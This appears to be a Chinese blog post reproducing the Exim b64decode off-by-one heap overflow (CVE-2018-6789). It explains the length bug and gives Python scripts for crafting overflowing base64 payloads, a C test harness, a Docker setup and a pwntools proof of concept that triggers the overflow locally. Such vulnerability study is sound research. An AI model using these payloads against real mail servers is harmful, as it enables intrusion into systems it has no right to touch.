前言
这个漏洞由台湾的安全研究员工meh发现,经过华为未然实验室的师傅复现,成功实现了远程代码执行,最近在学习网络协议漏洞的挖掘,正好复现一下这块的东西,这两天要啃下来!
一、漏洞介绍
漏洞的成因是b64decode函数在对不规范的base64编码过的数据进行解码时可能会溢出堆上的一个字节,比较经典的off-by-one漏洞。
存在漏洞的b64decode函数部分代码如下:
1 2 3 4 5 6 7 8 9 10 11
| b64decode(const uschar *code, uschar **ptr) { int x, y; uschar *result = store_get(3*(Ustrlen(code)/4) + 1);
*ptr = result;
...... }
|
说的是,这里的store_get会调用store_malloc,也就是堆块申请,3(Ustrlen(code)/4) + 1是预测base64解密出来后的数据长度,然后malloc(3(Ustrlen(code)/4) + 1)的堆块,而实际解密出来的堆块长度可能是3(Ustrlen(code)/4) +2,这里这么理解,如果code的长度是4n+3,那么根据3(Ustrlen(code)/4) + 1的长度计算,可以知道预估的明文长度为3n+1,然后真正解密时,4n+3长度的密文会解密出3n+2的明文长度,因为3个字节的密文,可以解密出2个字节的明文,然后代码里只预估了4n和4n+2的情况(2个密文也只能解出1个明文),漏掉了4n+3的情况(⊙o⊙)…(没有4n+1的情况,从base64的原理可以知道)。
但是我发现直接少个等号python是解不出来的:
用c语言可以知道是可以的,效果和加了等号一样的:
也就是说4n+3的密文,解密出来是3n+2个字符。
这里用自己写的demo来验证一下:
因为预估的大小是3n+1,那么malloc(3n+1)时,只要申请的大小是8结尾的size,就可以实现溢出,例如当n=13时,malloc(3*13+1)=malloc(40)=malloc(0x28),python代码如下:
1 2 3 4 5 6 7
| from base64 import * aa = b64encode('a'*39)+b64encode('fv').strip('=') print aa print len(aa)
print len(aa)
|
所以密文长度是55时,我们根据store_get(3*(Ustrlen(code)/4) + 1)进行运算
1 2 3 4 5 6
| cc = b64decode('YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhZnY=') print cc
print len(cc)
|
由于解密出来是41个字符,填充时,就会造成off-by-one的漏洞,修改一下个堆块的size头,只有在申请的堆块size是8结尾的才能造成这个漏洞,我试着从fastbin到unsortedbin都找了一下:
1 2 3 4 5 6
| KK = [] for i in range(1,3000,1): if (i*3+1)&0xf==8: KK.append(hex(i*3+1)) print(KK)
|
那么我们要构造能实现offbyone的输出就知道构造多少输入数据进行加密了:
1
| pay = b64encode('a'*(size[i]-1))+b64encode('fv').strip('=')
|
二、漏洞环境搭建
1
| CFLAGS+="-fPIC" LDFLAGS+="-pie -ldl -lm -lcrypt" LIBS+="-pie" make -e clean all
|
开启pie
开启pie和asan操作:
1 2
| CFLAGS+="-fPIC -fsanitize=address" LDFLAGS+="-lasan -pie -ldl -lm -lcrypt" \ LIBS+="-lasan -pie" make -e clean all
|
因为华为未然实验室的师傅把这个完整的环境用docker封装好了,这里直接白嫖了一下
1
| sudo docker run -it --name exim -p 25:25 skysider/vulndocker:cve-2018-6789
|
然后自己写了个测试demo去调用b64decode,发现确实存在上述问题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| #include <stdlib.h> #include <dlfcn.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <signal.h> #include <arpa/inet.h> #include <sys/socket.h> #include <netinet/in.h>
typedef int(*fmt)(int a1,int a2); typedef int(*b64decode_t)(const char*, char**);
typedef void(*store_reset_3_t)(void *, const char *, int); int main (int argc, char** argv) { void* handler = dlopen("./fuzz_target.so", RTLD_LAZY); if (!handler) { fprintf (stderr, "dlopen Error:%s\n", dlerror ()); return -1; } b64decode_t b64decode = (b64decode_t)dlsym(handler,"func_0x1880a"); store_reset_3_t store_reset = (store_reset_3_t)dlsym(handler,"func_0x9d651"); if (!b64decode) { fprintf (stderr, "dlsym Error:%s\n", dlerror ()); return -1; } char *ptr; char *buf = malloc(0x3000); read(0,buf,0x3000); int len = strlen(buf); if ((buf[len-1])=='\n') { buf[len-1]='\x00'; } int res = b64decode(buf, &ptr); free(ptr-0x10); dlclose(handler); return 0; }
|
解出明文后,因为offbyone,导致topchunk最后一个字节被修改,最后free掉堆块时,页没有对齐从而报错,poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| from pwn import * from base64 import b64encode from libformatstr import FormatStr context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1 elf = ELF('./x86_64_target1') if local: p = process('./x86_64_target1') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() def ms(name,addr): print name + "---->" + hex(addr)
def debug(mallocr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print }}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+mallocr))) else: gdb.attach(p,"b *{}".format(hex(mallocr)))
pay = b64encode('a'*0x2007)+b64encode('\xf2\xf2')[:-1] sl(pay)
p.interactive()
|
现在用自己写的工具尝试漏洞挖掘:
效果不错!